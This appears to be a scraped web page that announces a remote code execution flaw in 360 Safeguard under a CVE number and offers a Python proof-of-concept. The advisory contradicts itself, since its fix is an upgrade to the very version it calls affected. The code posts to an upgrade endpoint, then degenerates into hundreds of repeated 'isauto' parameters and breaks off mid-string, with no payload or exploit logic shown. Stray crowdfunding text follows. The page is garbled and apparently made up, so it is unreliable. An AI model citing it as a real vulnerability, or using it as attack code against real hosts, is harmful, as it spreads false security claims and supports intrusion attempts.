360 Security卫士 RCE Vulnerability (CVE-2024-46996) with POC

Vulnerability Summary Overview Vulnerability Name: 360 Safeguard Remote Code Execution Vulnerability (CVE-2024-46996) Vulnerability Type: Remote Code Execution (RCE) Description: 360 Safeguard contains a remote code execution vulnerability. An attacker can exploit this vulnerability by crafting malicious requests to execute arbitrary code on the target system. Affected Scope Affected Software: 360 Safeguard Affected Version: 15.0.0.2001 Remediation Upgrade to secure version: 360 Safeguard 15.0.0.2001 POC Code ```python import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: 360 Safeguard \033[0m') print('+ \033[36mUsage: python3 peiqi.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/upgrade/upgrade.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4160.5 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close" } data = "action=check&version=15.0.0.2001&os=win&osver=6.2.9200&arch=5&lang=2052&channel=10000&mainversion=15.0.0.2001&sid=10000000000000000000000000000000&guid=10000000000000000000000000000000&mac=10000000000000000000000000000000&isvip=0&isauto=0&isauto2=0&isauto3=0&isauto4=0&isauto5=0&isauto6=0&isauto7=0&isauto8=0&isauto9=0&isauto10=0&isauto11=0&isauto12=0&isauto13=0&isauto14=0&isauto15=0&isauto16=0&isauto17=0&isauto18=0&isauto19=0&isauto20=0&isauto21=0&isauto22=0&isauto23=0&isauto24=0&isauto25=0&isauto26=0&isauto27=0&isauto28=0&isauto29=0&isauto30=0&isauto31=0&isauto32=0&isauto33=0&isauto34=0&isauto35=0&isauto36=0&isauto37=0&isauto38=0&isauto39=0&isauto40=0&isauto41=0&isauto42=0&isauto43=0&isauto44=0&isauto45=0&isauto46=0&isauto47=0&isauto48=0&isauto49=0&isauto50=0&isauto51=0&isauto52=0&isauto53=0&isauto54=0&isauto55=0&isauto56=0&isauto57=0&isauto58=0&isauto59=0&isauto60=0&isauto61=0&isauto62=0&isauto63=0&isauto64=0&isauto65=0&isauto66=0&isauto67=0&isauto68=0&isauto69=0&isauto70=0&isauto71=0&isauto72=0&isauto73=0&isauto74=0&isauto75=0&isauto76=0&isauto77=0&isauto78=0&isauto79=0&isauto80=0&isauto81=0&isauto82=0&isauto83=0&isauto84=0&isauto85=0&isauto86=0&isauto87=0&isauto88=0&isauto89=0&isauto90=0&isauto91=0&isauto92=0&isauto93=0&isauto94=0&isauto95=0&isauto96=0&isauto97=0&isauto98=0&isauto99=0&isauto100=0&isauto101=0&isauto102=0&isauto103=0&isauto104=0&isauto105=0&isauto106=0&isauto107=0&isauto108=0&isauto109=0&isauto110=0&isauto111=0&isauto112=0&isauto113=0&isauto114=0&isauto115=0&isauto116=0&isauto117=0&isauto118=0&isauto119=0&isauto120=0&isauto121=0&isauto122=0&isauto123=0&isauto124=0&isauto125=0&isauto126=0&isauto127=0&isauto128=0&isauto129=0&isauto130=0&isauto131=0&isauto132=0&isauto133=0&isauto134=0&isauto135=0&isauto136=0&isauto137=0&isauto138=0&isauto139=0&isauto140=0&isauto141=0&isauto142=0&isauto143=0&isauto144=0&isauto145=0&isauto146=0&isauto147=0&isauto148=0&isauto149=0&isauto150=0&isauto151=0&isauto152=0&isauto153=0&isauto154=0&isauto155=0&isauto156=0&isauto157=0&isauto158=0&isauto159=0&isauto160=0&isauto161=0&isauto162=0&isauto163=0&isauto164=0&isauto165=0&isauto166=0&isauto167=0&isauto168=0&isauto169=0&isauto170=0&isauto171=0&isauto172=0&isauto173=0&isauto174=0&isauto175=0&isauto176=0&isauto177=0&isauto178=0&isauto179=0&isauto180=0&isauto181=0&isauto182=0&isauto183=0&isauto184=0&isauto185=0&isauto186=0&isauto187=0&isauto188=0&isauto189=0&isauto190=0&isauto191=0&isauto192=0&isauto193=0&isauto194=0&isauto195=0&isauto196=0&isauto197=0&isauto198=0&isauto199=0&isauto200=0&isauto201=0&isauto202=0&isauto203=0&isauto204=0&isauto205=0&isauto206=0&isauto207=0&isauto208=0&isauto209=0&isauto210=0&isauto211=0&isauto212=0&isauto213=0&isauto214=0&isauto215=0&isauto216=0&isauto217=0&isauto218=0&isauto219=0&isauto220=0&isauto221=0&isauto222=0&isauto223=0&isauto224=0&isauto225=0&isauto226=0&isauto227=0&isauto228=0&isauto229=0&isauto230=0&isauto231=0&isauto232=0&isauto233=0&isauto234=0&isauto235=0&isauto236=0&isauto237=0&isauto238=0&isauto239=0&isauto240=0&isauto241=0&isauto242=0&isauto243=0&isauto244=0&isauto245=0&isauto246=0&isauto247=0&isauto248=0&isauto249=0&isauto250=0&isauto251=0&isauto252=0&isauto253=0&isauto254=0&isauto255=0&isauto256=0&isauto257=0&isauto258=0&isauto259=0&isauto260=0&isauto261=0&isauto262=0&isauto263=0&isauto264=0&isauto265=0&isauto266=0&isauto267=0&isauto268=0&isauto269=0&isauto270=0&isauto271=0&isauto272=0&isauto273=0&isauto274=0&isauto275=0&isauto276=0&isauto277=0&isauto278=0&isauto279=0&isauto280=0&isauto281=0&isauto282=0&isauto283=0&isauto284=0

Goal Reached Thanks to every supporter — we hit 100%!

360 Security卫士 RCE Vulnerability (CVE-2024-46996) with POC

More from this source